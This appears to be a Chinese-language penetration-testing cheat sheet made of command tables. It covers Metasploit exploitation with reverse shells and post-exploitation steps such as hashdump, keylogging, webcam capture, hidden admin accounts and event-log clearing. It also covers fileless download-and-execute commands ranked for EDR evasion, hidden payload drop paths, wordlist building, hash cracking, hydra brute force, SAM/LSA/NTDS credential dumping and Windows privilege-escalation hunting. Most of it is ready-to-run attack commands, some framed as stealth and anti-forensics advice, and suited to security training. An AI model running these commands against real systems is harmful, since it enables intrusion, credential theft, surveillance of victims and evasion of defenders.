# Windows + Linux 工具

<details>

<summary>msfconsole</summary>

✅ Metasploit Framework 精簡實戰手冊

以下依據實戰流程順序整理，僅保留最重要指令，適合初學者快速上手。

***

#### 🧭 實戰流程表格：

| 步驟  | 操作內容          | 指令或說明                                                                                                                     |
| --- | ------------- | ------------------------------------------------------------------------------------------------------------------------- |
| 1️⃣ | 啟動 Metasploit | `msfconsole`                                                                                                              |
| 2️⃣ | 搜尋漏洞模組        | `search ms08_067`                                                                                                         |
| 3️⃣ | 載入模組          | `use exploit/windows/smb/ms08_067_netapi`                                                                                 |
| 4️⃣ | 查看參數          | `show options`                                                                                                            |
| 5️⃣ | 設定參數          | `set RHOSTS <目標IP>set LHOST <本機IP>set LPORT 4444`                                                                         |
| 6️⃣ | 設定 Payload    | `set payload windows/meterpreter/reverse_tcp`                                                                             |
| 7️⃣ | 額外 Payload 選擇 | `windows/meterpreter/reverse_httpswindows/shell/reverse_tcplinux/x86/meterpreter/reverse_tcpwindows/meterpreter/bind_tcp` |
| 8️⃣ | 再次確認設定        | `show options`                                                                                                            |
| 9️⃣ | 執行攻擊          | `exploit`                                                                                                                 |
| 🔟  | 控制目標          | `sessions -lsessions -i 1`                                                                                                |

***

#### 🛠️ 後滲透常用指令：

| 功能        | 指令                    |
| --------- | --------------------- |
| 提權        | `getsystem`           |
| 查看程序      | `ps`                  |
| 遷移進程      | `migrate <PID>`       |
| Dump hash | `hashdump`            |
| 上傳檔案      | `upload <本地> <目標路徑>`  |
| 執行檔案      | `execute -f <檔案名> -i` |

***

#### 📦 上傳與下載檔案：

| 類型          | 指令範例                                                    |
| ----------- | ------------------------------------------------------- |
| 上傳至 Linux   | `upload C:\Users\attacker\payload.exe /tmp/payload.exe` |
| 上傳至 Windows | `upload /root/file.txt C:\Windows\Temp\file.txt`        |
| 從目標下載       | `download C:\Users\victim\secret.docx ./secret.docx`    |

***

#### 🖼️ 延伸後滲透功能：

| 功能      | 指令                                            | 說明                           |
| ------- | --------------------------------------------- | ---------------------------- |
| 擷取螢幕畫面  | `screenshot`                                  | 截取目標使用者當前螢幕畫面                |
| 鍵盤側錄開始  | `keyscan_start`                               | 啟動鍵盤記錄器                      |
| 鍵盤側錄匯出  | `keyscan_dump`                                | 匯出已側錄的按鍵資料                   |
| 停止鍵盤側錄  | `keyscan_stop`                                | 停止鍵盤記錄器                      |
| 開啟攝影機   | `webcam_list`, `webcam_snap`                  | 顯示可用攝影機，擷取影像（需支援）            |
| 調整桌面控制權 | `uictl enable keyboard`, `uictl enable mouse` | 控制目標鍵盤與滑鼠                    |
| 系統桌面切換  | `setdesktop <ID>`                             | 切換至其他使用者桌面（需具備會話）            |
| 偽造檔案時間  | `timestomp`                                   | 修改檔案建立/修改/存取時間，常用於反取證        |
| 清除事件紀錄  | `clearev`                                     | 清除系統 event log（常搭配提權後執行）     |
| 檢視環境變數  | `getenv`                                      | 查看目標系統的重要環境變數資訊              |
| 注入進程    | `inject`                                      | 將 shellcode 注入到現有程序（需搭配進階模組） |
| 建立帳號    | `run post/windows/manage/add_user`            | 在目標系統建立隱藏帳號（需管理員）            |
| 新增帳號到群組 | `net localgroup administrators <user> /add`   | 添加使用者至管理群組（手動）               |

| 功能   | 指令                                            |
| ---- | --------------------------------------------- |
| 擷取螢幕 | `screenshot`                                  |
| 鍵盤側錄 | `keyscan_start`、`keyscan_dump`、`keyscan_stop` |
| 清除事件 | `clearev`                                     |

***

💡 **提示**：可將指令寫入 `.rc` 自動化腳本：

```bash
msfconsole -r /root/demo.rc
```

***

這就是實戰中最常見、最實用的 10 步驟流程表格，搭配延伸後滲透技巧。練熟這份表格，絕對能打穿 80% 靶機。需要我再補上自動提權模組、持久化技巧、或生成 PDF 嗎？📄

</details>

<details>

<summary>文件傳送 Windows / Linux 下載</summary>

📊 檔案落地方式比較表（常用指數 ⭐⭐⭐⭐⭐）

| 傳送方式                               | 指令範例                                                                        | 常用指數  | 備註                         |
| ---------------------------------- | --------------------------------------------------------------------------- | ----- | -------------------------- |
| **PowerShell - Invoke-WebRequest** | Invoke-WebRequest -Uri [http://x](http://x/) -OutFile file.exe              | ⭐⭐⭐⭐⭐ | 最常見，兼容性高                   |
| **PowerShell - IEX 記憶體執行**         | IEX (New-Object Net.WebClient).DownloadString('[http://x](http://x/)')      | ⭐⭐⭐⭐⭐ | 無檔案落地、適合隱蔽攻擊               |
| **certutil（無 PowerShell 環境）**      | certutil -urlcache -split -f [http://x](http://x/) file.exe                 | ⭐⭐⭐⭐  | 在不支援 PS 的機器上超有用            |
| **bitsadmin（舊）**                   | bitsadmin /transfer job [http://x](http://x/) file.exe                      | ⭐⭐    | 被淘汰，舊版 Windows 才用          |
| **curl/wget (Linux)**              | curl -o /tmp/x [http://x](http://x/) / wget -O /tmp/x [http://x](http://x/) | ⭐⭐⭐⭐  | Linux 上王者                  |
| **PHP file\_get\_contents**        | php -r '...file\_get\_contents...'                                          | ⭐⭐    | 用於 PHP 可執行的環境（例如 Webshell） |
| **SCP（需 SSH 開啟）**                  | scp file user\@ip\:/tmp/                                                    | ⭐⭐    | 安全但有 SSH 限制                |
| **pyftpdlib FTP 伺服器**              | python3 -m pyftpdlib -p 2121                                                | ⭐⭐    | 快速建 FTP，適合臨時環境             |
| **Python http.server**             | python3 -m http.server 8000                                                 | ⭐⭐⭐⭐⭐ | 攻擊機設置 payload server 的最愛   |
| **impacket-smbserver（SMB 分享）**     | impacket-smbserver share /tmp                                               | ⭐⭐⭐⭐  | 適用於 Windows SMB 拓撲下的內網     |

🔐 常用落地路徑（隱蔽度排名）

| 路徑                            | 隱蔽星等  | 理由                     |
| ----------------------------- | ----- | ---------------------- |
| C:\ProgramData\\              | ⭐⭐⭐⭐⭐ | 預設資料夾，權限寬鬆，不易偵測        |
| C:\Users\Public\\             | ⭐⭐⭐⭐  | 允許所有人寫入，合法性高           |
| %APPDATA%\Microsoft\Windows\\ | ⭐⭐⭐⭐  | 系統設定位置，名稱可偽裝成 legit 程序 |
| %TEMP%                        | ⭐⭐⭐   | 雖然顯眼，但防毒通常不即時清查        |

🏆 總結建議（最推薦組合）

| 目的             | 推薦方法                                            | 理由               |
| -------------- | ----------------------------------------------- | ---------------- |
| 快速傳送 + 落地      | PowerShell Invoke-WebRequest + C:\ProgramData\\ | 成功率最高            |
| 隱蔽執行           | PowerShell IEX + 不寫入磁碟                          | 超難偵測，適合躲過 EDR    |
| 無 PowerShell 時 | certutil                                        | 幾乎所有 Windows 都內建 |
| Linux 目標       | wget / curl + /tmp                              | 簡單快速             |
| Webshell       | PHP file\_get\_contents                         | Webserver 傳檔首選   |

</details>

<details>

<summary>密碼字典建立 +  Windows/ Linux 密碼爆破攻擊(Online)</summary>

**1️⃣ 資訊蒐集（字典建立階段）**

<table><thead><tr><th width="112.09765625">步驟</th><th width="239.7578125">指令</th><th>用途說明</th><th>輸出檔案</th></tr></thead><tbody><tr><td>1️⃣ 擷取網站文字內容</td><td><code>cewl https://target.com -d 2 -m 3 > raw.txt</code></td><td>自動擷取整個網站文字內容（人名/職稱/描述）</td><td><code>raw.txt</code></td></tr><tr><td>2️⃣ 從內容中找出人名</td><td><code>grep -E '[A-Z][a-z]{2,} [A-Z][a-z]{2,}' raw.txt > names_auto.txt</code></td><td>從網站文字中抓出「名字 姓氏」格式詞彙</td><td><code>names_auto.txt</code></td></tr><tr><td>3️⃣ 手動補充人名清單</td><td>✍️ 手動建立或編輯 <code>names_manual.txt</code></td><td>如果有你自行觀察得出的人名，可手動補進清單</td><td><code>names_manual.txt</code></td></tr><tr><td>4️⃣ 合併自動 + 手動清單</td><td><code>cat names_auto.txt names_manual.txt > names_combined.txt</code></td><td>將兩者整合為最完整人名來源</td><td><code>names_combined.txt</code></td></tr><tr><td>5️⃣ 淨化重複人名</td><td><code>sort -u names_combined.txt > names.txt</code></td><td>去除重複、統一格式，生成乾淨人名清單</td><td>✅ <code>names.txt</code></td></tr><tr><td>6️⃣ 轉換為帳號格式</td><td><code>./username-anarchy -i names.txt > user.list</code></td><td>使用工具將人名轉為常見使用者名稱格式</td><td>✅ <code>usernames.txt</code>（用於 hydra -L）</td></tr></tbody></table>

***

```bash
#!/bin/bash

# ✅ 使用方式：
# bash build_usernames.sh <目標網址> <手動人名清單>

if [ "$#" -ne 2 ]; then
    echo "用法：$0 <目標網址> <手動人名清單>"
    exit 1
fi

TARGET_URL="$1"
MANUAL_NAMES="$2"

echo "[+] 使用 cewl 擷取網站內容..."
cewl "$TARGET_URL" -d 2 -m 3 > raw.txt

echo "[+] 使用 grep 擷取人名格式..."
grep -E '[A-Z][a-z]{2,} [A-Z][a-z]{2,}' raw.txt > names_auto.txt

echo "[+] 合併自動與手動人名清單..."
cat names_auto.txt "$MANUAL_NAMES" > names_combined.txt

echo "[+] 淨化並去除重複..."
sort -u names_combined.txt > names.txt

echo "[+] 使用 username-anarchy 產生帳號格式..."
./username-anarchy -i names.txt > user.list

echo "[✓] 完成！帳號字典輸出於：usernames.txt"

```

| 步驟        | 指令                                                                                                 | 用途說明                  | 輸出檔案                                 |
| --------- | -------------------------------------------------------------------------------------------------- | --------------------- | ------------------------------------ |
| 1️⃣       | `cewl https://target.com -d 3 -m 6 --lowercase -w base_wordlist.txt`                               | 從網站擷取有語意的關鍵字作為密碼字典起點  | `base_wordlist.txt`                  |
| 2️⃣       | `hashcat -r /usr/share/hashcat/rules/best64.rule base_wordlist.txt --stdout > strong_wordlist.txt` | 使用規則將詞彙變形（加數字、大小寫、年份） | `strong_wordlist.txt`                |
| 3️⃣       | `awk '{print $1\"123\"}' strong_wordlist.txt > strong_123.txt`                                     | 額外自定常見結尾變化            | `strong_123.txt`                     |
| 4️⃣       | `cat strong_wordlist.txt strong_123.txt \| sort -u > password.list`                                |                       | 合併所有密碼版本，整理去重                        |
| ☑️ **完成** | **這份密碼字典會被用於 hydra 的 -P**                                                                          | -                     | 使用時：`hydra -P mega_wordlist.txt ...` |

**3️⃣ 破解密碼（離線模式）(選項如果係攞到hash嘅話) (所有需要解密)**

| ⭐     | 指令                                                                                            | 說明                       | 攻擊前提                                   |
| ----- | --------------------------------------------------------------------------------------------- | ------------------------ | -------------------------------------- |
| ⭐⭐⭐⭐⭐ | `hashcat -m 1000 dumpedhashes.txt rockyou.txt`                                                | 破解 NTLM hash（Windows 密碼） | ✔️ NTLM hash (如從 SAM 或 secretsdump 拿到) |
| ⭐⭐⭐⭐⭐ | `john --wordlist=rockyou.txt zip.hash`                                                        | 破解 zip 加密壓縮包密碼           | ✔️ 使用 `zip2john` 先產出 zip.hash          |
| ⭐⭐⭐⭐  | `hashcat -m 1000 <hash> rockyou.txt --show`                                                   | 破解單一 NTLM hash 並即時顯示結果   | ✔️ 一組 hash 值、字典檔                       |
| ⭐⭐⭐⭐  | `unshadow /etc/passwd /etc/shadow > unshadowed.hashes`                                        | 整合 Linux 帳密為一個 hash 檔    | ✔️ 拿到 Linux 的 passwd & shadow 檔案       |
| ⭐⭐⭐⭐  | `hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt -o cracked.txt`                           | 破解 Linux hash，輸出結果檔      | ✔️ 使用 unshadow 合成的 hash 檔              |
| ⭐⭐⭐⭐  | `hashcat -m 500 -a 0 md5-hashes.list rockyou.txt`                                             | 破解 MD5 hash              | ✔️ hash 類型為 MD5，已知格式                   |
| ⭐⭐⭐⭐  | `zip2john file.zip > zip.hash`                                                                | 生成 zip hash，供 john 使用    | ✔️ 有加密的 zip 壓縮檔                        |
| ⭐⭐⭐⭐  | `john --wordlist=rockyou.txt zip.hash`                                                        | 對 zip.hash 嘗試爆破密碼        | ✔️ 用 zip2john 產出 hash                  |
| ⭐⭐⭐⭐  | `office2john.py Protected.docx > protected-docx.hash`                                         | 將加密 Office 文件轉為 hash     | ✔️ 有受保護的 Word 檔案                       |
| ⭐⭐⭐⭐  | `john --wordlist=rockyou.txt protected-docx.hash`                                             | 破解 Office 文件密碼           | ✔️ 上一步產出的 hash                         |
| ⭐⭐⭐⭐  | `bitlocker2john -i Backup.vhd > backup.hashes`                                                | 從 BitLocker 容器提取 hash    | ✔️ 有 `.vhd` 磁碟影像檔                      |
| ⭐⭐⭐⭐  | `hashcat -m 22100 backup.hash rockyou.txt -o backup.cracked`                                  | 破解 BitLocker hash        | ✔️ 有 backup.hash + 字典                  |
| ⭐⭐⭐   | `python3 ssh2john.py id_rsa > ssh.hash`                                                       | 將 SSH 私鑰轉換成 hash（供破解）    | ✔️ 有 SSH 金鑰檔                           |
| ⭐⭐⭐   | `john ssh.hash --show`                                                                        | 破解 SSH 私鑰密碼              | ✔️ 已產生 hash 檔                          |
| ⭐⭐⭐   | `pdf2john.pl secret.pdf > pdf.hash`                                                           | 將加密 PDF 轉換成 hash 檔       | ✔️ 有受保護的 PDF 文件                        |
| ⭐⭐⭐   | `john --wordlist=rockyou.txt pdf.hash`                                                        | 嘗試爆破 PDF 檔案密碼            | ✔️ 上一步 hash 結果                         |
| ⭐⭐    | `file GZIP.gzip`                                                                              | 判斷檔案格式（偵測 GZIP 類型）       | ✔️ 有壓縮加密檔，需確認格式                        |
| ⭐⭐    | \`for i in $(cat rockyou.txt); do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null | tar xz; done\`           | 用字典一個個爆 AES 解密 gzip                    |

**4️⃣ 爆破登入（線上測試帳密）(Windows 爆破) (Linux 爆破)**&#x20;

| ⭐     | 指令                                                             | 描述                            | ⚠️ 攻擊前置條件                                    |
| ----- | -------------------------------------------------------------- | ----------------------------- | -------------------------------------------- |
| ⭐⭐⭐⭐⭐ | `hydra -L user.list -P password.list <service>://<ip>`         | 使用帳密清單爆破 SSH、RDP、Web Login 等  | <p>✔️ 服務已開啟（可連線）<br>✔️ 用戶清單與密碼字典準備好</p>      |
| ⭐⭐⭐⭐  | `hydra -C userpass.list ssh://<ip>`                            | 使用 user:pass 格式爆破（憑證填充）       | <p>✔️ SSH 可連線<br>✔️ 已抓取的帳密組合清單</p>           |
| ⭐⭐⭐⭐  | `hydra -l username -P password.list <service>://<ip>`          | 針對單一帳號，爆破其可能密碼                | <p>✔️ 確定帳號名稱<br>✔️ 密碼字典準備好</p>               |
| ⭐⭐⭐⭐  | `hydra -L user.list -p password <service>://<ip>`              | 用一組密碼爆破多個帳號                   | <p>✔️ 常見弱密碼（如：123456）<br>✔️ 帳號清單準備好</p>      |
| ⭐⭐⭐⭐  | `evil-winrm -i <ip> -u Administrator -H "<hash>"`              | 使用哈希登入 Windows（Pass-The-Hash） | <p>✔️ 目標開啟 WinRM（5985）<br>✔️ 有 NTLM hash</p> |
| ⭐⭐⭐⭐  | `crackmapexec winrm <ip> -u user.list -p password.list`        | 使用 CrackMapExec 爆破 WinRM      | <p>✔️ 有使用者清單<br>✔️ 目標開啟 WinRM 服務</p>         |
| ⭐⭐⭐   | `crackmapexec smb <ip> -u "user" -p "password" --shares`       | 用帳密登入 SMB 並列出共享資料夾            | <p>✔️ 帳密組合已知<br>✔️ 目標開啟 445 port（SMB）</p>    |
| ⭐⭐⭐   | `crackmapexec smb <ip> --local-auth -u <user> -p <pass> --sam` | 導出本地 SAM 密碼 hash              | <p>✔️ 有目標本機帳號與密碼<br>✔️ 該帳號為 local admin</p>  |
| ⭐⭐⭐   | `crackmapexec smb <ip> --local-auth -u <user> -p <pass> --lsa` | 讀取 LSA secrets，可能拿到明文密碼       | <p>✔️ 本地 admin 權限<br>✔️ SMB port 可連線</p>     |
| ⭐⭐⭐   | `crackmapexec smb <ip> -u <user> -p <pass> --ntds`             | 從 NTDS 抽取整個域內帳密 hash          | <p>✔️ admin 權限帳號<br>✔️ 目標為域控或有複製 NTDS 權限</p> |

</details>

<details>

<summary>預設憑證</summary>

以下是 **DefaultCreds-cheat-sheet 使用教學** 的步驟表格整理，讓你一目了然：

<table><thead><tr><th width="64.55859375">步驟</th><th>操作說明</th><th>命令/工具</th><th>預期結果</th><th>如果出錯該怎麼辦</th></tr></thead><tbody><tr><td>1️⃣</td><td>安裝工具</td><td><code>pip3 install defaultcreds-cheat-sheet</code></td><td>安裝成功後可以使用 <code>creds</code> 指令</td><td>若無法安裝：<br>① 確認已安裝 Python3/pip3<br>② 檢查網路<br>③ 嘗試手動安裝</td></tr><tr><td>2️⃣</td><td>手動安裝（如步驟1失敗）</td><td>git clone <a href="https://github.com/ihebski/DefaultCreds-cheat-sheet">https://github.com/ihebski/DefaultCreds-cheat-sheet</a><br>cd DefaultCreds-cheat-sheet<br>pip3 install -r requirements.txt<br>cp creds /usr/bin/ &#x26;&#x26; chmod +x /usr/bin/creds</td><td>將 <code>creds</code> 命令加入可執行環境</td><td>若 <code>creds</code> 無法執行，確認 <code>/usr/bin/creds</code> 權限與環境變數</td></tr><tr><td>3️⃣</td><td>搜尋預設帳密</td><td><code>creds search tomcat</code></td><td>列出 Apache Tomcat 的預設帳密，如 <code>admin:admin</code></td><td>若無結果，嘗試不同關鍵字，例如 <code>apache</code></td></tr><tr><td>4️⃣</td><td>篩選出所有設備類型</td><td><code>creds dump</code></td><td>列出所有支援查詢的設備與應用程式類型</td><td>結果太多可加上 `</td></tr><tr><td>5️⃣</td><td>實際應用帳密登入目標</td><td>依據查到的帳密登入 Web、FTP、SSH 等服務</td><td>測試是否能成功登入</td><td>若失敗，代表目標已改密，建議繼續其他測試手法</td></tr><tr><td>6️⃣</td><td>對特定設備類型列出帳密</td><td>`creds dump</td><td>grep -i cisco`</td><td>篩出所有 Cisco 設備帳密</td></tr></tbody></table>

</details>

**Windows 權限偵察與後續行動表格（含姿勢判斷 + 完整指令）**

| 指令                                                                                                             | 檢查點（進階姿勢）                                                                                                                                                                                                                                                                                                                     | 若發現目標                                                         | 下一步行動                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| -------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p></p><ol><li><mark style="color:red;">初始存取（Exploit 漏洞打進機器）</mark></li></ol>                                  |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `systeminfo`                                                                                                   |                                                                                                                                                                                                                                                                                                                               |                                                               | [#windows-kernel-exploits-nei-he-lou-dong-ti-quan](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#windows-kernel-exploits-nei-he-lou-dong-ti-quan "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `wmic product get name`                                                                                        | 掃描應用程式是否存在弱點（如 Java 6、Flash、老版 7-Zip、TeamViewer）                                                                                                                                                                                                                                                                              | 是                                                             | 查 CVE，準備特定 Exploit 或利用 DLL Hijacking                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| 使用 msfvenom 生成惡意 MSI 並建立反向連線                                                                                   |                                                                                                                                                                                                                                                                                                                               |                                                               | [#zhong-du-gong-ji-sheng-chengeyi-msi-bing-jian-li-fan-xiang-lian-xian](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#zhong-du-gong-ji-sheng-chengeyi-msi-bing-jian-li-fan-xiang-lian-xian "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| <p></p><ol start="2"><li><mark style="color:red;">權限提升（提升為 SYSTEM / Administrator）</mark></li></ol>            |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `whoami /priv`                                                                                                 | <mark style="color:red;">SeImpersonate</mark> / <mark style="color:red;">SeAssignPrimaryToken</mark> / <mark style="color:red;">SeDebugPrivilege</mark> /  <mark style="color:red;">SeTakeOwnershipPrivilege</mark> /<mark style="color:red;">SeBackupPrivilege</mark> /<mark style="color:red;">SeLoadDriverPrivilege</mark> | 存在                                                            | [#seimpersonate-and-seassignprimarytoken-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#seimpersonate-and-seassignprimarytoken-gong-ji "mention")[#sedebugprivilege-quan-xian-ti-quan-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#sedebugprivilege-quan-xian-ti-quan-gong-ji "mention")[#setakeownership-quan-xian-lan-yong-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#setakeownership-quan-xian-lan-yong-gong-ji "mention")  [#print-operators-lie-yin-cao-zuo-yuan-quan-xian-li-yong](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#print-operators-lie-yin-cao-zuo-yuan-quan-xian-li-yong "mention")/ |
| `net local "Event Log Readers"`                                                                                | 顯示自己的名字                                                                                                                                                                                                                                                                                                                       |                                                               | [#event-log-readers-quan-xian-lan-yong-min-gan-ming-ling-xing-xie-qu-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#event-log-readers-quan-xian-lan-yong-min-gan-ming-ling-xing-xie-qu-gong-ji "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `Get-ADGroupMember -Identity DnsAdmins`                                                                        | 顯示自己的名字                                                                                                                                                                                                                                                                                                                       |                                                               | [#dnsadmins-quan-xian-lan-yong-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#dnsadmins-quan-xian-lan-yong-gong-ji "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `Get-LocalGroupMember -Group "Hyper-V Administrators"`                                                         | 顯示自己的名字                                                                                                                                                                                                                                                                                                                       |                                                               | [#hyperv-administrators-quan-xian-li-yong](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#hyperv-administrators-quan-xian-li-yong "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA`          | <p><code>REG QUERY HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin</code><br></p>                                                                                                                                                                                | <p>如果是 <code>0x2</code> 或 <code>0x0</code>，恭喜，非常容易利用！<br></p> | [#user-account-controluac-rao-guo](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#user-account-controluac-rao-guo "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `.\SharpUp.exe audit`                                                                                          | 找 `Modifiable Service Binaries`、`Modifiable Services` 或 `Modifiable Registry Keys`                                                                                                                                                                                                                                            | 是                                                             | [#ruo-quan-xian-ti-quan-gong-ji](https://0xdfxyz.gitbook.io/0xdfxyz/windows-quan-xian-ti-sheng#ruo-quan-xian-ti-quan-gong-ji "mention")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| <p></p><ol start="3"><li><mark style="color:red;">憑證擷取（Dump SAM、LSASS、Security Hive 等）</mark></li></ol>        |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `net user`                                                                                                     | 檢查本地帳戶所屬群組，如 Administrators、是否已啟用、上次登入時間                                                                                                                                                                                                                                                                                      | 存在                                                            | 測試本地或遠端登入，收集活動用戶資訊                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `net localgroup`                                                                                               | 群組中是否出現其他使用者（如其他網域使用者）或服務帳戶 -> 提示潛在橫向目標                                                                                                                                                                                                                                                                                       | 存在                                                            | 測試本地或遠端登入，辨識可能通用憑證                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `net localgroup "Event Log Readers"`                                                                           | 有帳號存在 -> 可無需提權查看安全日誌，例如登入事件4624                                                                                                                                                                                                                                                                                               | 是                                                             | 嘗試讀取安全日誌，觀察高權限帳號活動或登入來源                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml`                                                  | 快速搜尋敏感檔案，針對 config 設定、密碼備註等                                                                                                                                                                                                                                                                                                   | 有密碼關鍵字                                                        | 嘗試登入 SMB、RDP、AD、VPN 等外部資源                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `gc 'C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt'`                 | 使用者自訂詞典，常用於自定義拼字，可為密碼字典來源                                                                                                                                                                                                                                                                                                     | 有詞彙                                                           | 擴充字典進行暴力破解或社工口令組合                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,unattend.xml.bak -ErrorAction SilentlyContinue`        | 搜尋系統自動化部署檔，常見於 AD join 或本地帳號配置                                                                                                                                                                                                                                                                                                | 有檔案                                                           | 解析明文帳密，執行本地或橫向登入                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `gc (Get-PSReadLineOption).HistorySavePath`                                                                    | PowerShell 使用歷史，會留有憑證、命令、IP 等行為痕跡                                                                                                                                                                                                                                                                                             | 有敏感內容                                                         | 重複利用命令、憑證、服務指令構建 lateral pivoting                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `findstr /SI /M "password" *.txt *.ini *.cfg *.config *.xml`                                                   | 多點位掃描用戶文件夾與備份                                                                                                                                                                                                                                                                                                                 | 有內容                                                           | 嘗試登入其他服務或雲端資源                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `Select-String -Path C:\Users\*\Documents\*.txt -Pattern "password"`                                           | 精準搜尋 Documents 內部檔案，有較高命中率                                                                                                                                                                                                                                                                                                    | 有發現                                                           | 做憑證爆破或橫向移動測試                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `%SYSTEMDRIVE%\pagefile.sys`                                                                                   | 交換記憶體檔案，可能保有歷史密碼、明文資訊                                                                                                                                                                                                                                                                                                         | 可取得                                                           | 用 volatility 分析記憶體，找帳密或 hash、token 等敏感資訊                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `cmdkey /list`                                                                                                 | Windows 儲存的憑證快取，可供 runas 調用                                                                                                                                                                                                                                                                                                   | 有憑證紀錄                                                         | 使用 `runas /savecred` 重複登入，靜默使用憑證攻擊                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `%WINDIR%\debug\NetSetup.log`                                                                                  | Windows AD 加入記錄，可能含帳號或建立者資訊                                                                                                                                                                                                                                                                                                   | 可見                                                            | 推估 AD 管理者行為、找通用憑證線索                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `%WINDIR%\system32\config\security.sav`                                                                        | 備份登錄檔，含安全性策略與權限資訊                                                                                                                                                                                                                                                                                                             | 可取得                                                           | 做離線 Registry 分析，找 SID / ACL 或權限設定                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| <p></p><ol start="4"><li><mark style="color:red;">密碼破解（Hashcat / John 等離線攻擊）</mark></li></ol>                  |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `C:\ProgramData\Configs*`                                                                                      | 常用為自訂軟體的儲存位置，含明文帳密或 token                                                                                                                                                                                                                                                                                                     | 有設定檔                                                          | 尋找帳密設定或備份，橫向攻擊新目標                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `sudo responder -wrf -v -I tun0`                                                                               | 捕獲 NTLM Hash：如 SMB Relay、WPAD、HTTP 基於 LAN 攔截                                                                                                                                                                                                                                                                                  | 取得 hash                                                       | 使用 hashcat / john 破解或 pass-the-hash 利用                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `%USERPROFILE%\ntuser.dat`                                                                                     | 使用者行為分析登錄檔，可含自動登入帳密、自動啟動項等                                                                                                                                                                                                                                                                                                    | 可取                                                            | 分析使用者行為紀錄與憑證痕跡、Persist 構建依據                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| <p></p><ol start="5"><li><mark style="color:red;">👉【橫向移動】：使用擷取的憑證去登入別的主機（RDP、SMB、WMI、Psexec）</mark></li></ol> |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| <p>如果可以使用admin 開啟cmd.exe</p><p></p><p>reg save HKLM\SAM C:\sam.save </p>                                       | 成功                                                                                                                                                                                                                                                                                                                            |                                                               | SAM 攻擊                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| <p></p><ol start="6"><li><mark style="color:red;">機密提取 / 控制權奪取 / 攻擊橫向擴張</mark></li></ol>                       |                                                                                                                                                                                                                                                                                                                               |                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
